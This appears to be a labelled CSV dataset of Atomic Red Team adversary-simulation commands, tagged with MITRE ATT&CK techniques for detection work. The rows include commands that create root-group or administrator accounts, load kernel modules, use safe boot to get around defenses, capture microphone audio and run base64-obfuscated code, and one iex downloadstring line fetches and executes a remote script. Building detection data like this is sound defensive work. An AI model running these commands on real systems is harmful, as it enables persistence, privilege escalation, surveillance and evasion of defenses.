7578e09bd20c1522364f6389,"net user /add ""#{username}"" ""#{password}""","net user /add ""#{username}"" ""#{password}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in a command prompt,T1136.001,"[""T1136.001""]",windows,0.9,False,"Creates a new user in a command prompt. Upon execution, ""The command completed successfully."" will be displayed. To verify the
new account, run ""net user"" in powershell or CMD and observe that there is a new user named ""T1136.001_CMD""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e7e861eb1a5208fb833ccf8,"net user /del ""#{username}"" >nul 2>&1","net user /del ""#{username}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in a command prompt,T1136.001,"[""T1136.001""]",windows,0.55,True,"Creates a new user in a command prompt. Upon execution, ""The command completed successfully."" will be displayed. To verify the
new account, run ""net user"" in powershell or CMD and observe that there is a new user named ""T1136.001_CMD""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1c3cefcefcafa717e4dc373,"New-LocalUser -Name ""#{username}"" -NoPassword","New-LocalUser -Name ""#{username}"" -NoPassword",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in PowerShell,T1136.001,"[""T1136.001""]",windows,0.9,False,"Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
new account, run ""net user"" in powershell or CMD and observe that there is a new user named ""T1136.001_PowerShell""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
92233b8c5d149b6f440b6bb2,"Remove-LocalUser -Name ""#{username}"" -ErrorAction Ignore","Remove-LocalUser -Name ""#{username}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in PowerShell,T1136.001,"[""T1136.001""]",windows,0.55,True,"Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
new account, run ""net user"" in powershell or CMD and observe that there is a new user named ""T1136.001_PowerShell""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6d80ea18c904abff62ddeab,"useradd -g 0 -M -d /root -s /bin/bash #{username} if [ $(cat /etc/os-release | grep -i 'Name=""ubuntu""') ]; then echo ""#{username}:#{password}"" | sudo chpasswd; else echo ""#{password}"" | passwd --stdin #{username}; fi;","useradd -g 0 -M -d /root -s /bin/bash #{username} if [ $(cat /etc/os-release | grep -i 'Name=""ubuntu""') ]; then echo ""#{username}:#{password}"" | sudo chpasswd; else echo ""#{password}"" | passwd --stdin #{username}; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in Linux with `root` UID and GID.,T1136.001,"[""T1136.001""]",linux,0.9,False,"Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0961b249ab1427c2f76f103,"pw useradd #{username} -g 0 -d /root -s /bin/sh echo ""#{password}"" | pw usermod #{username} -h 0","pw useradd #{username} -g 0 -d /root -s /bin/sh echo ""#{password}"" | pw usermod #{username} -h 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in FreeBSD with `root` GID.,T1136.001,"[""T1136.001""]",linux,0.9,False,"Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
596689cc45143e680c4ec642,pw userdel #{username},pw userdel #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new user in FreeBSD with `root` GID.,T1136.001,"[""T1136.001""]",linux,0.55,True,"Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb250ab92dc84de921eb5f8f,"net user /add ""#{username}"" ""#{password}"" net localgroup administrators ""#{username}"" /add","net user /add ""#{username}"" ""#{password}"" net localgroup administrators ""#{username}"" /add",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new Windows admin user,T1136.001,"[""T1136.001""]",windows,0.9,False,"Creates a new admin user in a command prompt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f88f8c6d35b1121eef0a59e,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a new Windows admin user via .NET,T1136.001,"[""T1136.001""]",windows,0.9,False,"Creates a new admin user in a powershell session without using net.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
efc5a3b0d8e7ba0133a88528,kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}',kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a Linux user via kubectl in a Pod,T1136.001,"[""T1136.001""]",containers,0.9,False,"Launches a short-lived Alpine pod and creates a Linux user inside the pod.
The pod is automatically deleted after execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
46b759e475d72f763e9cf443,sudo insmod #{module_path},sudo insmod #{module_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,Linux - Load Kernel Module via insmod,T1547.006,"[""T1547.006""]",linux,0.9,False,"This test uses the insmod command to load a kernel module for Linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c55817174aa6779d8512cc8,sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder},sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,Linux - Load Kernel Module via insmod,T1547.006,"[""T1547.006""]",linux,0.55,True,"This test uses the insmod command to load a kernel module for Linux.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
438a5a0e51db86bcd64276d3,set -x sudo kextload #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload #{module_path} sudo kmutil load -p #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kmutil unload -p #{module_path},set -x sudo kextload #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload #{module_path} sudo kmutil load -p #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kmutil unload -p #{module_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,MacOS - Load Kernel Module via kextload and kmutil,T1547.006,"[""T1547.006""]",macos,0.9,False,"This test uses the kextload and kmutil commands to load and unload a MacOS kernel module.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
34f843f6fd28c4f92c04cf1f,sudo #{exe_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload /Library/Extensions/SoftRAID.kext,sudo #{exe_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload /Library/Extensions/SoftRAID.kext,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,MacOS - Load Kernel Module via KextManagerLoadKextWithURL(),T1547.006,"[""T1547.006""]",macos,0.9,False,"This test uses the IOKit API to load a kernel module for macOS.
Harcoded to use SoftRAID kext
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39a417791d3f72b947971afe,rm -f #{exe_path},rm -f #{exe_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,MacOS - Load Kernel Module via KextManagerLoadKextWithURL(),T1547.006,"[""T1547.006""]",macos,0.55,True,"This test uses the IOKit API to load a kernel module for macOS.
Harcoded to use SoftRAID kext
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a504a97c1907911741e40a01,"$examplePath = Join-Path $env:windir ""system32\Com""; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = ""comadmin.dat""; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)","$examplePath = Join-Path $env:windir ""system32\Com""; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = ""comadmin.dat""; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,Snake Malware Kernel Driver Comadmin,T1547.006,"[""T1547.006""]",windows,0.9,False,"The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a
single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. 
This Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04bcc9b22e86e26f4b84d8a9,"$examplePath = Join-Path $env:windir ""system32\Com""; $exampleName = ""comadmin.dat""; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }","$examplePath = Join-Path $env:windir ""system32\Com""; $exampleName = ""comadmin.dat""; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.006/T1547.006.yaml,Snake Malware Kernel Driver Comadmin,T1547.006,"[""T1547.006""]",windows,0.55,True,"The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a
single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. 
This Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
760e89c0928e3f8d3c8f1afb,"C:\windows\system32\SyncAppvPublishingServer.vbs ""\n;#{command_to_execute}""","C:\windows\system32\SyncAppvPublishingServer.vbs ""\n;#{command_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1216/T1216.yaml,SyncAppvPublishingServer Signed Script PowerShell Command Execution,T1216,"[""T1216""]",windows,0.9,False,"Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0d2e8722969918086343c1c0,set comspec=#{command_to_execute} cscript %windir%\System32\manage-bde.wsf,set comspec=#{command_to_execute} cscript %windir%\System32\manage-bde.wsf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1216/T1216.yaml,manage-bde.wsf Signed Script Command Execution,T1216,"[""T1216""]",windows,0.9,False,"Executes the signed manage-bde.wsf script with options to execute an arbitrary command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c5c888ab10dd83fbbcd7d86,set comspec=%windir%\System32\cmd.exe,set comspec=%windir%\System32\cmd.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1216/T1216.yaml,manage-bde.wsf Signed Script Command Execution,T1216,"[""T1216""]",windows,0.55,True,"Executes the signed manage-bde.wsf script with options to execute an arbitrary command.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6dcd38a47f028dc9eaed10ee,"odbcconf.exe /S /A {REGSVR ""#{dll_payload}""}","odbcconf.exe /S /A {REGSVR ""#{dll_payload}""}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.008/T1218.008.yaml,Odbcconf.exe - Execute Arbitrary DLL,T1218.008,"[""T1218.008""]",windows,0.9,False,"Execute arbitrary DLL file stored locally.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9f9cce95a361736ae05c9d0,"cd ""#{rsp_file_path}"" odbcconf.exe -f ""#{rsp_file_name}""","cd ""#{rsp_file_path}"" odbcconf.exe -f ""#{rsp_file_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.008/T1218.008.yaml,Odbcconf.exe - Load Response File,T1218.008,"[""T1218.008""]",windows,0.9,False,"Execute arbitrary response file that will spawn PowerShell.exe.
Source files: https://github.com/woanware/application-restriction-bypasses
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b0aa417ec37681c816f58b80,$mic = Get-AudioDevice -Recording Set-AudioDevice -ID $mic.ID Start-Sleep -Seconds 5,$mic = Get-AudioDevice -Recording Set-AudioDevice -ID $mic.ID Start-Sleep -Seconds 5,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1123/T1123.yaml,using device audio capture commandlet,T1123,"[""T1123""]",windows,0.9,False,"Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d902e08d65fad4396818869,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1123/T1123.yaml,Registry artefact when application use microphone,T1123,"[""T1123""]",windows,0.9,False,"[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e35a70a21456fda914ac8d08,reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /f,reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1123/T1123.yaml,Registry artefact when application use microphone,T1123,"[""T1123""]",windows,0.55,True,"[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1e524ae7665e20a86d50278,sh #{filename} #{audiofile} #{duration},sh #{filename} #{audiofile} #{duration},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1123/T1123.yaml,using Quicktime Player,T1123,"[""T1123""]",macos,0.9,False,"Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

Should create a non-empty m4a file with sound from the microphone.

- requires Automation permissions but no additional microphone permissions
- saves file in /tmp by default. Other locations likely to require more permissions.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e8f4cb07141e3ab171e4c51,if test -w #{audiofile}; then rm #{audiofile} fi,if test -w #{audiofile}; then rm #{audiofile} fi,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1123/T1123.yaml,using Quicktime Player,T1123,"[""T1123""]",macos,0.55,True,"Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

Should create a non-empty m4a file with sound from the microphone.

- requires Automation permissions but no additional microphone permissions
- saves file in /tmp by default. Other locations likely to require more permissions.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b976932823bb8a4356d0417d,sudo touch /Library/StartupItems/EvilStartup.plist,sudo touch /Library/StartupItems/EvilStartup.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add file to Local Library StartupItems,T1037.005,"[""T1037.005""]",macos,0.9,False,"Modify or create an file in /Library/StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90baed86d60d8d56325dab7d,sudo rm /Library/StartupItems/EvilStartup.plist,sudo rm /Library/StartupItems/EvilStartup.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add file to Local Library StartupItems,T1037.005,"[""T1037.005""]",macos,0.55,True,"Modify or create an file in /Library/StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9137c8c22bb44865cec6bfd,sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist sudo /Library/StartupItems/atomic.sh start,sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist sudo /Library/StartupItems/atomic.sh start,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add launch script to launch daemon,T1037.005,"[""T1037.005""]",macos,0.9,False,"Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb2640248571d7235a94ae93,sudo launchctl unload /tmp/T1037_005_daemon.plist sudo rm /tmp/T1037_005_daemon.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_daemon.txt,sudo launchctl unload /tmp/T1037_005_daemon.plist sudo rm /tmp/T1037_005_daemon.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_daemon.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add launch script to launch daemon,T1037.005,"[""T1037.005""]",macos,0.55,True,"Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
105f056e82bfcf24b7a6256f,sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist /Library/StartupItems/atomic.sh start,sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist /Library/StartupItems/atomic.sh start,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add launch script to launch agent,T1037.005,"[""T1037.005""]",macos,0.9,False,"Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2be9d891beed2806ae425468,sudo launchctl unload /tmp/T1037_005_agent.plist sudo rm /tmp/T1037_005_agent.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_agent.txt,sudo launchctl unload /tmp/T1037_005_agent.plist sudo rm /tmp/T1037_005_agent.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_agent.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.005/T1037.005.yaml,Add launch script to launch agent,T1037.005,"[""T1037.005""]",macos,0.55,True,"Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b12617f3513463a200a0329a,bcdedit /set safeboot network,bcdedit /set safeboot network,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.009/T1562.009.yaml,Safe Mode Boot,T1562.009,"[""T1562.009""]",windows,0.9,False,Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7865363641f6fa7a39e3ed31,bcdedit /deletevalue {current} safeboot,bcdedit /deletevalue {current} safeboot,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.009/T1562.009.yaml,Safe Mode Boot,T1562.009,"[""T1562.009""]",windows,0.55,True,Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5de4d25c67b5006cdf0478b,"if [ ""$(uname)"" = 'FreeBSD' ]; then cmd=""b64decode -r""; else cmd=""base64 -d""; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh","if [ ""$(uname)"" = 'FreeBSD' ]; then cmd=""b64decode -r""; else cmd=""base64 -d""; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Decode base64 Data into Script,T1027,"[""T1027""]","macos,linux",0.9,False,"Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c67456d3a543a23029bbebe,rm /tmp/encoded.dat rm /tmp/art.sh,rm /tmp/encoded.dat rm /tmp/art.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Decode base64 Data into Script,T1027,"[""T1027""]","macos,linux",0.55,True,"Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
84918e46028d9b45e55c3d5e,$OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand powershell.exe -EncodedCommand $EncodedCommand,$OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand powershell.exe -EncodedCommand $EncodedCommand,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execute base64-encoded PowerShell,T1027,"[""T1027""]",windows,0.9,False,"Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is ""Write-Host ""Hey, Atomic!""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41c066c405d1e9be9b1747bf,"$OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand powershell.exe -Command ""IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))""","$OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand powershell.exe -Command ""IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execute base64-encoded PowerShell from Windows Registry,T1027,"[""T1027""]",windows,0.9,False,"Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa044bac7580726ef6a57b2a,Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage},Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execute base64-encoded PowerShell from Windows Registry,T1027,"[""T1027""]",windows,0.55,True,"Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e784a6c9ec965c1fcb55280d,"""PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe""","""PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execution from Compressed File,T1027,"[""T1027""]",windows,0.9,False,"Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
407193d8e9f5d767e4b4658a,taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul,taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027/T1027.yaml,Execution from Compressed File,T1027,"[""T1027""]",windows,0.55,True,"Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
